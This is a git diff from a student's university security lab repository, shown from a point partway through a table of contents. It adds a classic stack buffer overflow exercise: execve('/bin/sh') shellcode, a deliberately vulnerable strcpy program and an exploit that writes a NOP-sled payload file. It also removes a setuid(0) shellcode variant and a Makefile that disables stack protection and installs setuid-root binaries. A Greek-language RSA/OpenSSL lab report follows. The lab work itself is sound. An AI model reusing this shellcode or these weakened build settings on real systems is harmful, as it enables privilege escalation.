{\textalpha }{\mathalpha }} 6: \IeC {\textMu }\IeC {\TextOrMath {\texteta }{\matheta }}-\IeC {\TextOrMath {\textalpha }{\mathalpha }}\IeC {\TextOrMath {\textupsilon }{\mathupsilon }}\IeC {\TextOrMath {\texttau }{\mathtau }}\IeC {\acctonos \textomicron }\IeC {\TextOrMath {\textmu }{\mathmu }}\IeC {\TextOrMath {\textalpha }{\mathalpha }}\IeC {\TextOrMath {\texttau }{\mathtau }}\IeC {\TextOrMath {\texteta }{\matheta }} \IeC {\TextOrMath {\textepsilon }{\mathepsilon }}\IeC {\TextOrMath {\textpi }{\mathpi }}\IeC {\TextOrMath {\textalpha }{\mathalpha }}\IeC {\TextOrMath {\textlambda }{\mathlambda }}\IeC {\acctonos \texteta }\IeC {\TextOrMath {\texttheta }{\maththeta }}\IeC {\TextOrMath {\textepsilon }{\mathepsilon }}\IeC {\TextOrMath {\textupsilon }{\mathupsilon }}\IeC {\TextOrMath {\textsigma }{\mathsigma }}\IeC {\TextOrMath {\texteta }{\matheta }} \IeC {\TextOrMath {\textpi }{\mathpi }}\IeC {\TextOrMath {\textiota }{\mathiota }}\IeC {\TextOrMath {\textsigma }{\mathsigma }}\IeC {\TextOrMath {\texttau }{\mathtau }}\IeC {\textomicron }\IeC {\TextOrMath {\textpi }{\mathpi }}\IeC {\textomicron }\IeC {\TextOrMath {\textiota }{\mathiota }}\IeC {\TextOrMath {\texteta }{\matheta }}\IeC {\TextOrMath {\texttau }{\mathtau }}\IeC {\TextOrMath {\textiota }{\mathiota }}\IeC {\TextOrMath {\textkappa }{\mathkappa }}\IeC {\textomicron }\IeC {\acctonos \textupsilon } X.509}{5} +\babel@toc {english}{} +\contentsline {section}{\numberline {1}Δραστηριότητα 1: Ανάπτυξη και δοκιμή του shellcode}{2}{}% +\contentsline {section}{\numberline {2}Δραστηριότητα 2: Ανάπτυξη του ευπαθούς προγράμματος}{3}{}% +\contentsline {section}{\numberline {3}Δραστηριότητα 3: Δημιουργία του αρχείου εισόδου (badfile)}{4}{}% +\contentsline {section}{\numberline {4}Δραστηριότητα 4: Εύρεση της διεύθυνσης του shellcode μέσα στο badfile}{6}{}% +\contentsline {section}{\numberline {5}Δραστηριότητα 5: Προετοιμασία του αρχείου εισόδου}{8}{}% +\contentsline {section}{\numberline {6}Δραστηριότητα 6: Εκτέλεση της επίθεσης}{8}{}% diff --git a/security/ex1/doc/res/aslr.png b/security/ex1/doc/res/aslr.png Binary files differ. diff --git a/security/ex1/doc/res/attack.png b/security/ex1/doc/res/attack.png Binary files differ. diff --git a/security/ex1/doc/res/chownshellcode.png b/security/ex1/doc/res/chownshellcode.png Binary files differ. diff --git a/security/ex1/doc/res/exploit.png b/security/ex1/doc/res/exploit.png Binary files differ. diff --git a/security/ex1/doc/res/gdb1.png b/security/ex1/doc/res/gdb1.png Binary files differ. diff --git a/security/ex1/doc/res/gdb2.png b/security/ex1/doc/res/gdb2.png Binary files differ. diff --git a/security/ex1/doc/res/hexdump.png b/security/ex1/doc/res/hexdump.png Binary files differ. diff --git a/security/ex1/doc/res/offset.png b/security/ex1/doc/res/offset.png Binary files differ. diff --git a/security/ex1/doc/res/shellcode.png b/security/ex1/doc/res/shellcode.png Binary files differ. diff --git a/security/ex1/doc/res/stack.png b/security/ex1/doc/res/stack.png Binary files differ. diff --git a/security/ex1/doc/res/stack_gdb.png b/security/ex1/doc/res/stack_gdb.png Binary files differ. diff --git a/security/ex1/doc/res/zshshellcode.png b/security/ex1/doc/res/zshshellcode.png Binary files differ. diff --git a/security/ex1/src/dat/c0.pem b/security/ex1/src/dat/c0.pem @@ -1,35 +0,0 @@ ------BEGIN CERTIFICATE----- -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 ------END CERTIFICATE----- diff --git a/security/ex1/src/dat/cert.in b/security/ex1/src/dat/cert.in @@ -1,3 +0,0 @@ -10001 -B8CF80904908D88DE6681CB6624061B6FBD5EC6C8CFD33B7F3730CB3B01F9A7142BA2E89A5354074C7C5C5F319D8EAFF6E471B55FD9A40195ACE3CA00D40087D65601C9BB27FAB940E819C033B429C761B511CD3287F13FFE4C6BB2EC806A8E07853AA7CAA5816AA2004C8D53E8E8931427019DA2F535096DD99DAE96E7387483BCBD647CBE2A880F7B4D17395856858D8FE993672A1DFCD0AD64B8CB8A161D96840FBAF6F41E19F39BDA4A22896F5548B7382CF0705EDBAF42AAF805DC5BCCE203C34468128D3B7CAF2ACB039003D08CDB583B009E9EFB08441ED1A1BD4E8B4793DAE971A1B87273C339F359D29519C9A9DBDFC8228185F22453EA79AFA7082043478FCE673214C643E8682F58B58D5B4E6891CD9D52CACE7EEB6ECD96FE5D3D55D287796ED2E4F1A0B7DC4C3FFD1407F9449218574A267A322A0FC82F329DB555649B123668551E8ED4C4720540FE9A69651610715333980B5225CD4D4A34967A309A5A7EC9E25C67B8A383D35D87B8FE6FB3290025C84B639C668E7E9FC842DC888A4BEED0728423319333FF423C13152AC66214FE3E86B7A6FD930378B58D8EA26110D5D89BD9D5DF0BF2EC69B58866F6255A837BF10C041C376D680B56A63027DD786C6936A2B94816E24E109E82035CFC731C120209CFF6A111814599F39B082DAC1D7F26EC43EF698452B97561682B2BEFF491D5BE90B1AE7F0DE351B -e823dd2570c1cc10a632402b592d227907f05a2dd8a3f2bb8152d0bac59df719 diff --git a/security/ex1/src/dat/decrypt.in b/security/ex1/src/dat/decrypt.in @@ -1,4 +0,0 @@ -010001 -DCBFFE3E51F62E09CE7032E2677A78946A849DC4CDDE3A4D0CB81629242FB1A5 -74D806F9F3A62BAE331FFE3F0A68AFE35B3D2E4794148AACBC26AA381CD7D30D -CAF7D72776AFEFBAC8269E1A8B76CE44A3B28015CA9A54E22C239EF38FCFAFFA diff --git a/security/ex1/src/dat/encrypt.in b/security/ex1/src/dat/encrypt.in @@ -1,3 +0,0 @@ -0D88C3 -71D9BBC5C01F9B50DDFE5F2EC331FAB21081009D014E9615C277670C61591ECF -63F67E805D8DEB0B4182C57C3DC24F3C1350CF182E8ABF85FD24062A3BC7F2EB diff --git a/security/ex1/src/dat/priv.in b/security/ex1/src/dat/priv.in @@ -1,3 +0,0 @@ -953AAB9B3F23ED593FBDC690CA10E703 -C34EFC7C4C2369164E953553CDF94945 -0D88C3 diff --git a/security/ex1/src/dat/verify1_inc.in b/security/ex1/src/dat/verify1_inc.in @@ -1,3 +0,0 @@ -010001 -AE1CD4DC432798D933779FBD46C6E1247F0CF1233595113AA51B450F18116115 -643D6F34902D9C7EC90CB0B2BCA36C47FA37165C0005CAB026C0542CBDB6803F diff --git a/security/ex1/src/exploit.c b/security/ex1/src/exploit.c @@ -0,0 +1,40 @@ +#include <stdio.h> +#include <stdlib.h> +#include <string.h> + +const char code[] = + "\x31\xc0" /* xorl %eax, %eax */ + "\x50" /* pushl %eax */ + "\x68""//sh" /* pushl $addr */ + "\x68""/bin" /* pushl $addr */ + "\x89\xe3" /* movl %esp, %ebx */ + "\x50" /* pushl %eax */ + "\x53" /* pushl %ebx */ + "\x89\xe1" /* movl %esp, %ecx */ + "\x99" /* cdq */ + "\xb0\x0b" /* movb $0x0b, %al */ + "\xcd\x80" /* int $0x80 */ + ; + +int +main(int argc, char *argv[]) +{ + char buf[517]; + FILE *badfile; + + /* fill with nops */ + memset(&buf, 0x90, 517); + + /* place return address */ + *((long *)(buf + 0x24)) = 0xbfffeb48 + 0x60; + + /* place the shellcode at the end of buf */ + memcpy(buf + sizeof(buf) - sizeof(code), code, sizeof(code)); + + /* save the contents of badfile */ + badfile = fopen("./badfile", "w"); + fwrite(buf, 517, 1, badfile); + fclose(badfile); + + return (0); +} diff --git a/security/ex1/src/shellcode.c b/security/ex1/src/shellcode.c @@ -0,0 +1,28 @@ +#include <stdio.h> +#include <stdlib.h> +#include <string.h> + +const char code[] = + "\x31\xc0" /* xorl %eax, %eax */ + "\x50" /* pushl %eax */ + "\x68""//sh" /* pushl $addr */ + "\x68""/bin" /* pushl $addr */ + "\x89\xe3" /* movl %esp, %ebx */ + "\x50" /* pushl %eax */ + "\x53" /* pushl %ebx */ + "\x89\xe1" /* movl %esp, %ecx */ + "\x99" /* cdq */ + "\xb0\x0b" /* movb $0x0b, %al */ + "\xcd\x80" /* int $0x80 */ + ; + +int +main(int argc, char *argv[]) +{ + char buf[sizeof(code)]; + + strcpy(buf, code); + ((void(*)())buf)(); + + return (0); +} diff --git a/security/ex1/src/stack.c b/security/ex1/src/stack.c @@ -0,0 +1,26 @@ +#include <stdio.h> +#include <stdlib.h> +#include <string.h> + +int +bof(char *str) +{ + char buf[24]; + + strcpy(buf, str); + return (1); +} + +int +main(int argc, char *argv[]) +{ + char str[517]; + FILE *badfile; + + badfile = fopen("badfile", "r"); + fread(str, sizeof(char), 517, badfile); + bof(str); + printf("returned properly\n"); + + return (1); +} diff --git a/security/ex2/Makefile b/security/ex2/Makefile @@ -1,22 +0,0 @@ -TARGS = shellcode \ - dash_shellcode \ - stack \ - exploit - -#SCRIPTS = - -CC = cc -CFLAGS = -std=c99 -pedantic -Wall -Os -Iinclude -g -z execstack \ - -fno-stack-protector -LIBS = -Llib - -all: - for targ in ${TARGS} ; do \ - ${CC} $${targ}.c ${LIBS} -o $${targ} ; \ - chown root $${targ} ; \ - chmod 4755 $${targ} ; \ - done - #chmod +x ${SCRIPTS} - -clean: - rm -f ${TARGS} bad *.o *.core diff --git a/security/ex2/dash_shellcode.c b/security/ex2/dash_shellcode.c @@ -1,31 +0,0 @@ -#include <string.h> - -static const char code[] = - /* setuid(0) */ - "\x31\xc0" /* xorl %eax, %eax */ - "\x31\xdb" /* xorl %ebx, %ebx */ - "\xb0\xd5" /* movb $0xd5, %al */ - "\xcd\x80" /* int $0x80 */ - - /* same code as in shellcode.c */ - "\x31\xc0" /* xorl %eax, %eax */ - "\x50" /* pushl %eax */ - "\x68""//sh" /* pushl addr */ - "\x68""/bin" /* pushl addr */ - "\x89\xe3" /* movl %esp, %ebx */ - "\x50" /* pushl %eax */ - "\x53" /* pushl %ebx */ - "\x89\xe1" /* movl %esp, %ecx */ - "\x99" /* cdq */ - "\xb0\x0b" /* movb $0x0b, %al */ - "\xcd\x80" /* int $0x80 */ - ; - -int -main(int argc, char *argv[]) -{ - void (*sc)() = (void *)code; - sc(); - - return (0); -} diff --git a/security/ex2/doc/doc.pdf b/security/ex2/doc/doc.pdf Binary files differ. diff --git a/security/ex2/doc/doc.tex b/security/ex2/doc/doc.tex @@ -0,0 +1,291 @@ +\documentclass[12pt]{article} +\usepackage[utf8]{inputenc} +\usepackage[greek,english]{babel} +\usepackage{alphabeta} +\usepackage{fancyhdr} +\usepackage{listings} +\usepackage{mathtools} +\usepackage{xcolor} +\usepackage{float} +\usepackage{siunitx} +\usepackage[margin=0.5in]{geometry} +\usepackage[backend=bibtex]{biblatex} + +\lstset { + basicstyle=\ttfamily, + columns=fullflexible, + breaklines=true, + keepspaces=true, + showstringspaces=false +} + +\title{Εργαστήριο Ασφάλειας στην Τεχνολογία της Πληροφορίας -- Εργασία 2} +\author{Χρήστος Μαργιώλης -- 19390133} +\date{Απρίλιος 2023} + +\begin{document} + +\begin{titlepage} + \maketitle + \begin{figure}[t!] + \begin{center} + \includegraphics[scale=0.3]{./res/uniwalogo.png} \\ + \Large + \textbf{Πανεπιστήμιο Δυτικής Αττικής} \\ + \large + Τμήμα Μηχανικών Πληροφορικής και Ηλεκτρονικών Υπολογιστών + \end{center} + \end{figure} +\end{titlepage} + +\renewcommand{\contentsname}{Περιεχόμενα} +\tableofcontents +\pagebreak + +\section{Δομή αρχείων} + +\subsection{Αρχεία C} + +Ο κώδικας C, για δική μου διευκόλυνση στην δοκιμή διαφόρων εισόδων, περιέχει και +ρουτίνες διαβάσματος αρχείων, πέρα από την επίλυση των προβλημάτων. Τα περισσότερα +προγράμματα χρησιμοποιούνται σε συνδυασμό με κάποιο από τα scripts που αναλύονται +παρακάτω. Αυτό προσθέτει μεν πολυπλοκότητα, αλλά κάνει τα προγράμματα πιο ευέλικτα. +Σε κάθε δραστηριότητα εξηγώ πως πρέπει να τρέξουμε το πρόγραμμα. + +\subsection{Scripts} + +Πέρα από τον κώδικα έγραψα και τα παρακάτω 2 scripts. + +\subsubsection{\lstinline{atoh}: Μετατροπή από ASCII σε Hex} + +\lstinputlisting[language=c]{../src/atoh} + +\subsubsection{\lstinline{htoa}: Μετατροπή από Hex σε ASCII} + +\lstinputlisting[language=c]{../src/htoa} + +\subsection{Makefile} + +Τα προγράμματα μεταγλωττίζονται όλα αυτόματα μέσω του παρακάτω +\lstinline{Makefile}. + +Το \lstinline{Makefile} διαθέτει τις παρακάτω επιλογές: +\begin{itemize} + \item \lstinline{make}: Κάνει compile όλα τα προγράμματα. + \item \lstinline{make clean}: Σβήνει τα εκτελέσιμα αρχεία που έχουν + παραχθεί. +\end{itemize} + +Ο κώδικας του: + +\lstinputlisting[language=c]{../src/Makefile} + +\subsection{Αρχεία δεδομένων} + +Στο directory \lstinline{src/dat} βρίσκονται αρχεία δεδομένων που +χρησιμοποιούνται από τα προγράμματα. 'Ολα τα αρχεία ακολουθούν την ονομασία +\lstinline{<program>.in} όπου \lstinline{program} το όνομα του προγράμματος που +το χρησιμοποιεί. Προκειμένου να αποφευχθεί τυχόν περιττή πολυπλοκότητα, τα +προγράμματα δεν κάνουν ελέγχους εγκυρότητας των αρχείων εισόδου. + +\section{Δραστηριότητα 1: Δημιουργία ιδιωτικού κλειδιού} + +\subsection{Επεξήγηση υλοποίησης} + +Για να δημιουργήσουμε ένα ιδιωτικό κλειδί RSA, πρέπει αρχικά να υπολογίσουμε +την συνάρτηση: +\[\phi(n) = (p-1)(q-1)\] +Στην συνέχεια, θα υπολογίσουμε την εξίσωση: +\[e \cdot d \mod \phi(n) = 1\] +Λύνοντας ως προς $d$. Ο υπολογισμός του ιδιωτικού κλειδιού μέσα στο πρόγραμμα +γίνεται με τις εξής εντολές: \\ + +\begin{lstlisting}[language=C] + ... + BN_dec2bn(&one, "1"); + BN_sub(foo, p, one); + BN_sub(bar, q, one); + BN_mul(phi, foo, bar, ctx); + BN_mod_inverse(d, e, phi, ctx); +\end{lstlisting} + +\subsection{Εκτέλεση προγράμματος} + +Χρήση: \lstinline{priv [-v] input} \\ + +Το πρόγραμμα, όταν το τρέξουμε απλώς με το αρχείο εισόδου, τυπώνει το +ιδιωτικό κλειδί. Αν του δώσουμε και την επιλογή \lstinline{-v}, τυπώνει +αναλυτικά τα $e$, $n$ και $d$. Η επιλογή αυτή είναι χρήσιμη για την +παραγωγή του αρχείου εισόδου που χρησιμοποιείται για την κρυπτογράφηση +μηνυμάτων: \\ + +\includegraphics[width=\textwidth]{res/priv.png} \\ + +\subsection{Πηγαίος κώδικας: \lstinline{priv.c}} + +\lstinputlisting[language=c]{../src/priv.c} + +\section{Δραστηριότητα 2: Κρυπτογράφηση μηνύματος} + +\subsection{Επεξήγηση υλοποίησης} + +Η κρυπτογράφηση ενός μηνύματος γίνεται με τον τύπο: +\[C = P^e \mod n\] +Και η αποκρυπτογράφηση του: +\[P = C^d \mod n\] + +Η συνάρτηση OpenSSL για την πράξη αυτή είναι η \lstinline{BN_mod_exp()}. Οι +παρακάτω εντολές στον κώδικα εκτελούν την (απο)κρυπτογράφηση: \\ + +\begin{lstlisting}[language=C] + ... + /* Encrypt message */ + BN_mod_exp(encrstr, str, e, n, ctx); + /* Decrypt message */ + BN_mod_exp(decrstr, encrstr, d, n, ctx); +\end{lstlisting} + +\subsection{Εκτέλεση προγράμματος} + +Χρήση: \lstinline{./atoh 'msg' | encrypt input} \\ + +Παρακάτω φαίνεται ένα ενδεικτικό τρέξιμο. Το μήνυμα μετατρέπεται σε Hex με την +χρήση του \lstinline{atoh} script. Αξίζει να σημειωθεί ότι στην υλοποίησή μου, +τα $e$, $n$ και $d$ υπολογίζονται από το \lstinline{priv.c} και +χρησιμοποιούνται κατευθείαν από το \lstinline{encrypt.c} ώστε να αποφευχθεί η +επανάληψη κώδικα, εξ'ου και η χρήση του \lstinline{priv} στην αρχή: \\ + +\includegraphics[width=\textwidth]{res/encrypt.png} \\ + +\subsection{Πηγαίος κώδικας: \lstinline{encrypt.c}} + +\lstinputlisting[language=c]{../src/encrypt.c} + +\section{Δραστηριότητα 3: Αποκρυπτογράφηση μηνύματος} + +\subsection{Επεξήγηση υλοποίησης} + +'Οπως και στην δραστηριότητα 3, χρησιμοποιείται ο ίδιος τύπος για την +αποκρυπτογράφηση ενός μηνύματος. + +\subsection{Εκτέλεση προγράμματος} + +Χρήση: \lstinline{decrypt input | htoa} \\ + +Στο αρχείο εισόδου θα χρησιμοποιήσουμε τα ίδια κλειδιά με αυτά της άσκησης 3, +συν ότι θα προσθέσουμε και το επιπλέον κρυπτογράφημα που δίνεται στην εκφώνηση +της άσκησης. Το πρόγραμμα τυπώνει το αποκρυπτογραφημένο μήνυμα σε Hex, οπότε +διοχετεύουμε την έξοδό του στο \lstinline{htoa} script ώστε να μετατραπεί σε +ASCII: \\ + +\includegraphics[width=\textwidth]{res/decrypt.png} \\ + +\subsection{Πηγαίος κώδικας: \lstinline{decrypt.c}} + +\lstinputlisting[language=c]{../src/decrypt.c} + +\section{Δραστηριότητα 4: Υπογραφή μηνύματος} + +\subsection{Επεξήγηση υλοποίησης} + +Η υπογραφή ενός μηνύματος γίνεται με τον τύπο: +\[S = H(P)^d \mod n\] + +Στον κώδικα, η υλοποίηση γίνεται ως εξής: \\ +\begin{lstlisting}[language=C] + ... + BN_mod_exp(sign, str, d, n, ctx); +\end{lstlisting} + +\subsection{Εκτέλεση προγράμματος} + +Χρήση: \lstinline{atoh 'msg' | sign input} \\ + +Στο παρακάτω ενδεικτικό τρέξιμο, παρατηρούμε ότι μία πολύ μικρή αλλαγή στο +μήνυμα θα παράξει τελείως διαφορετική υπογραφή, οπότε είμαστε και σίγουροι ότι +τα μηνύματα δεν ήτανε ίδια: \\ + +\includegraphics[width=\textwidth]{res/sign.png} \\ + +\subsection{Πηγαίος κώδικας: \lstinline{sign.c}} + +\lstinputlisting[language=c]{../src/sign.c} + +\section{Δραστηριότητα 5: Επαλήθευση υπογραφής} + +\subsection{Επεξήγηση υλοποίησης} + +Η επαλήθευση της υπογραφής γίνεται με τον τύπο: +\[Digest = S^e \mod n\] + +Στον κώδικα, υλοποίηση είναι γίνεται ως εξής: \\ +\begin{lstlisting}[language=C] + ... + BN_mod_exp(str, sign, e, n, ctx); +\end{lstlisting} + +\subsection{Εκτέλεση προγράμματος} + +Χρήση: \lstinline{verify input} \\ + +\subsection{Περίπτωση Α} + +Αρχικά θα δώσουμε ως είσοδο την έγκυρη υπογραφή: \\ + +\includegraphics[width=\textwidth]{res/verify1.png} \\ + +'Οταν αλλάξουμε το τελευταίο byte της υπογραφής, παρατηρούμε ότι η επαλήθευση +δεν είναι έγκυρη: \\ + +\includegraphics[width=\textwidth]{res/verify2.png} \\ + +\subsection{Περίπτωση Β} + +Από το παρακάτω τρέξιμο, βλέπουμε ότι η υπόγραφη είναι πράγματι της Alice: \\ + +\includegraphics[width=\textwidth]{res/verify3.png} \\ + +\section{Δραστηριότητα 6: Μη-αυτόματη επαλήθευση πιστοποιητικού X.509} + +\textit{Για την συγκεκριμένη δραστηριότητα επέλεξα να παραθέσω τις εντολές σε μορφή +text αντί για screenshots διότι τα output και οι ίδιες οι εντολές είναι πολύ +μεγάλες για να φανούν καθαρά σε εικονα.} \\ + +Κατεβάζουμε το πιστοποιητικό της ιστοσελίδας margiolis.net: +\begin{lstlisting} + $ openssl s_client -connect margiolis.net:443 -showcerts \ + </dev/null 2>/dev/null | openssl x509 -outform pem > dat/c0.pem +\end{lstlisting} + +Εξάγουμε το $e$: +\begin{lstlisting} + $ openssl x509 -in dat/c0.pem -text -noout | grep 'Exponent' | + awk '{print $3}' | sed 's/(//;s/)//;s/0x//' > dat/cert.in +\end{lstlisting} + +Εξάγουμε το $n$: +\begin{lstlisting} + $ openssl x509 -in dat/c0.pem -noout -modulus | + sed 's/Modulus=//' >> dat/cert.in +\end{lstlisting} + +Εξάγουμε την υπογραφή: +\begin{lstlisting} + $ openssl x509 -in dat/c0.pem -text -noout \ + -certopt ca_default -certopt no_validity \ + -certopt no_serial -certopt no_subject \ + -certopt no_extensions -certopt no_signame | + sed 1d | tr -d '[:space:]:' | sha256 >> dat/cert.in +\end{lstlisting} + +Τέλος, επαληθεύουμε το πιστοποιητικό (το output είναι πολύ μεγάλο για να +συμπεριληφθεί ολόκληρο): +\begin{lstlisting} + $ ./verify dat/cert.in + e: 010001 + n: B8CF80904908D88..........1AE7F0DE351B + sign: EC3CF68F5F6...........D228F04C5E54BE1D + str: 6E7DBA8412AEB7CF.........5FE55D1059486304 +\end{lstlisting} + +\end{document} diff --git a/security/ex2/doc/doc.toc b/security/ex2/doc/doc.toc @@ -0,0 +1,31 @@ +\boolfalse {citerequest}\boolfalse {citetracker}\boolfalse {pagetracker}\boolfalse {backtracker}\relax +\babel@toc {english}{} +\contentsline {section}{\numberline {1}Δομή αρχείων}{2}{}% +\contentsline {subsection}{\numberline {1.1}Αρχεία C}{2}{}% +\contentsline {subsection}{\numberline {1.2}Scripts}{2}{}% +\contentsline {subsubsection}{\numberline {1.2.1}\lstinline {atoh}: Μετατροπή από ASCII σε Hex}{2}{}% +\contentsline {subsubsection}{\numberline {1.2.2}\lstinline {htoa}: Μετατροπή από Hex σε ASCII}{2}{}% +\contentsline {subsection}{\numberline {1.3}Makefile}{2}{}% +\contentsline {subsection}{\numberline {1.4}Αρχεία δεδομένων}{3}{}% +\contentsline {section}{\numberline {2}Δραστηριότητα 1: Δημιουργία ιδιωτικού κλειδιού}{3}{}% +\contentsline {subsection}{\numberline {2.1}Επεξήγηση υλοποίησης}{3}{}% +\contentsline {subsection}{\numberline {2.2}Εκτέλεση προγράμματος}{3}{}% +\contentsline {subsection}{\numberline {2.3}Πηγαίος κώδικας: \lstinline {priv.c}}{4}{}% +\contentsline {section}{\numberline {3}Δραστηριότητα 2: Κρυπτογράφηση μηνύματος}{6}{}% +\contentsline {subsection}{\numberline {3.1}Επεξήγηση υλοποίησης}{6}{}% +\contentsline {subsection}{\numberline {3.2}Εκτέλεση προγράμματος}{7}{}% +\contentsline {subsection}{\numberline {3.3}Πηγαίος κώδικας: \lstinline {encrypt.c}}{7}{}% +\contentsline {section}{\numberline {4}Δραστηριότητα 3: Αποκρυπτογράφηση μηνύματος}{9}{}% +\contentsline {subsection}{\numberline {4.1}Επεξήγηση υλοποίησης}{9}{}% +\contentsline {subsection}{\numberline {4.2}Εκτέλεση προγράμματος}{9}{}% +\contentsline {subsection}{\numberline {4.3}Πηγαίος κώδικας: \lstinline {decrypt.c}}{9}{}% +\contentsline {section}{\numberline {5}Δραστηριότητα 4: Υπογραφή μηνύματος}{11}{}% +\contentsline {subsection}{\numberline {5.1}Επεξήγηση υλοποίησης}{11}{}% +\contentsline {subsection}{\numberline {5.2}Εκτέλεση προγράμματος}{11}{}% +\contentsline {subsection}{\numberline {5.3}Πηγαίος κώδικας: \lstinline {sign.c}}{11}{}% +\contentsline {section}{\numberline {6}Δραστηριότητα 5: Επαλήθευση υπογραφής}{13}{}% +\contentsline {subsection}{\numberline {6.1}Επεξήγηση υλοποίησης}{13}{}% +\contentsline {subsection}{\numberline {6.2}Εκτέλεση προγράμματος}{13}{}% +\contentsline {subsection}{\numberline {6.3}Περίπτωση Α}{13}{}% +\contentsline {subsection}{\numberline {6.4}Περίπτωση Β}{14}{}% +\contentsline {section}{\numberline {7}Δραστηριότητα 6: Μη-αυτόματη επαλήθευση πιστοποιητικού X.509}{14}{}% diff --git a/security/ex2/doc/res/cert.png b/security/ex2/doc/res/cert.png Binary files differ. diff --git a/security/ex2/doc/res/decrypt.png b/security/ex2/doc/res/decrypt.png Binary files differ. diff --git a/security/ex2/doc/res/encrypt.png b/security/ex2/doc/res/encrypt.png Binary files differ. diff --git a/security/ex2/doc/res/priv.png b/security/ex2/doc/res/priv.png Binary files differ. diff --git a/security/ex2/doc/res/sign.png b/security/ex2/doc/res/sign.png Binary files differ. diff --git a/security/ex2/doc/res/uniwalogo.png b/security/ex2/doc/res/uniwalogo.png Binary files differ. diff --git a/security/ex2/doc/res/verify1.png b/security/ex2/doc/res/verify1.png Binary files differ. diff --git a/security/ex2/doc/res/verify2.png b/security/ex2/doc/res/verify2.png Binary files differ. diff --git a/security/ex2/doc/res/verify3.png b/security/ex2/doc/res/verify3.png Binary files differ. diff --git a/security/ex2/exploit.c b/security/ex2/exploit.c @@ -1,42 +0,0 @@ -#include <err.h> -#include <stdio.h> -#include <stdlib.h> -#include <string.h> - -static const char code[] = - "\x31\xc0" /* xorl %eax, %eax */ - "\x50" /* pushl %eax */ - "\x68""//sh" /* pushl addr */ - "\x68""/bin" /* pushl addr */ - "\x89\xe3" /* movl %esp, %ebx */ - "\x50" /* pushl %eax */ - "\x53" /* pushl %ebx */ - "\x89\xe1" /* movl %esp, %ecx */ - "\x99" /* cdq */ - "\xb0\x0b" /* movb $0x0b, %al */ - "\xcd\x80" /* int $0x80 */ - ; - -int -main(int argc, char *argv[]) -{ - FILE *badfp; - char buf[517]; - - /* fill with NOPs */ - memset(&buf, 0x90, sizeof(buf)); - - /* place return address */ - *((long *)(buf + 0x24)) = 0x7fffffffe670 + 0x60; - - /* write shellcode at the end of buf */ - memcpy(buf + sizeof(buf) - sizeof(code), code, sizeof(code)); - - /* save to badfp */ - if ((badfp = fopen("bad", "w")) == NULL) - err(1, "fopen(bad)"); - fwrite(buf, sizeof(buf), 1, badfp); - fclose(badfp); - - return (0); -} diff --git a/security/ex2/shellcode.c b/security/ex2/shellcode.c @@ -1,24 +0,0 @@ 